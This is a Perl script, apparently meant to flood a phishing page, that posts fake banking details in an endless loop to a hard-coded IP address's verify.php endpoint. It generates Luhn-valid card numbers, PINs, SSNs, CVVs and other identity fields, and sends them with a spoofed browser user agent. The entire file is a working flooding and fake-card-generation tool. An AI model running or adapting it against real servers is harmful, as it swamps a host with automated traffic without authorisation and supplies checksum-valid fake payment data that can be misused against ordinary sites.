#!/usr/pkg/bin/perl

use POSIX;
use HTML::TokeParser;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST GET);

use HTTP::Cookies;

$|++;

sub gencard {
  my $cx = 1;
  my $c0 = 6218;

  while ($cx % 10) {
    my  $c1 = sprintf("%04d",rand(9999));
    my  $c2 = sprintf("%04d",rand(9999));
    my  $c3 = sprintf("%04d",rand(9999));
    my  $cx = 0;
    my ($p, $m, $i, $v, $cc);
    my (@c);

    @c = split(//,$c0 . $c1 . $c2 . $c3);
    $cc = join("",@c);

    $m = 1; $p = 0; $cx = 0;

    for ($i = length($cc) - 1; $i > -1 ; $i--) {
      $p++;
      if ($p % 2)  {
        $m = 1;
      } else {
        $m = 2;
      }
      $v = $m * $c[$i];
      $v -= 9 if ($v > 9);
      $cx += $v;
    }

    if ($cx % 10) {
      1;
    } else {
      return ($cc);
    }
  }
}

sub getdoc {
    my $docurl = shift;
    
    my $req = GET $docurl;
 
    $req->header(Accept            => $acpthdr,
                 Accept-Language   => $acptlng,
                 "Accept-Encoding" => $acptenc,
                 "Accept-Charset"  => $acptchr,
                 Referer           => $doc
#		 Connection        => "keep-alive"
                 );
    $cookie_jar->add_cookie_header($req);


    # Pass request to the user agent and get a response back
    my $res = $ua->request($req);

    # Check the outcome of the response
    if ($res->code eq "200") {
        print "!";
    } else {
        print "x";
    }

    $cookie_jar->extract_cookies($res);

    undef $req;
    undef $res;
}

$ua = LWP::UserAgent->new(
#                         keep-alive => 1,
                          timeout => 10);
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)");

$cookie_jar = HTTP::Cookies->new(file => "/tmp/cookies.txt", autosave => 1,
                                 ignore_discard => 1 );

$acpthdr = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1";
$acptlng = "en-us,en;q=0.5";
$acptchr = "ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$acptenc = "gzip,deflate";
$doc     = "http://200.246.11.135:85/cit/verify.php";

@char = ( "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0");

$x = 28; $y = 8;

while (1) {
    $user=$buscode=$first=$last=$mmn=$u=$h="";
    $card=&gencard();
    $acct1 = sprintf("%05d",int(rand(99999))) + 71500000;
    $pin1 = sprintf("%04d",int(rand(9999)));
    $acct2 = sprintf("%05d",int(rand(99999))) + 71500000;
    $x = int(rand(25)); $y = int(rand(25));

    foreach $k (1 .. 6) {
        $user .= $char[int(rand(999) % 35)];
    }

    foreach $k (1 .. 6) {
        $first .= $char[int(rand(999) % 35)];
    }

    foreach $k (1 .. 6) {
        $last .= $char[int(rand(999) % 35)];
    }

    foreach $k (1 .. 6) {
        $pass .= $char[int(rand(999) % 35)];
    }

    $ssn = sprintf("%04d",int(rand(999999999)));

    foreach $k (1 .. 6) {
        $mmn .= $char[int(rand(999) % 35)];
    }

    $exp = sprintf("%d/%d/%d",floor(rand(11))+1,floor(rand(27))+1,floor(rand(4))+2004);
    $dob = sprintf("%d/%d/%d",floor(rand(11))+1,floor(rand(27))+1,floor(rand(30))+1950);
    $cvv = sprintf("%03d",int(rand(999)));

    foreach $k (1 .. 6) {
        $u .= $char[int(rand(999) % 35)];
    }

    foreach $k (1 .. 6) {
        $h .= $char[int(rand(999) % 35)];
    }
    $email = $u . "@" . $h . ".com";

    
    $fucker="$doc?flow=transition3&action=signon&current_protocol=https&"
            . "cin=$card&chek=$acct1&pin=$pin1&saving=$acct2&userid=$user&"
            . "fln=$first $last&password=$pass&ssn=$ssn&buscode=&mmn=$mmn&"
            . "exp=$exp&dob=$dob&cvv=$cvv&email=$email&Submit.x=x&Submit.y=y&"
            . "Submit=Submit";
    getdoc($fucker);
}

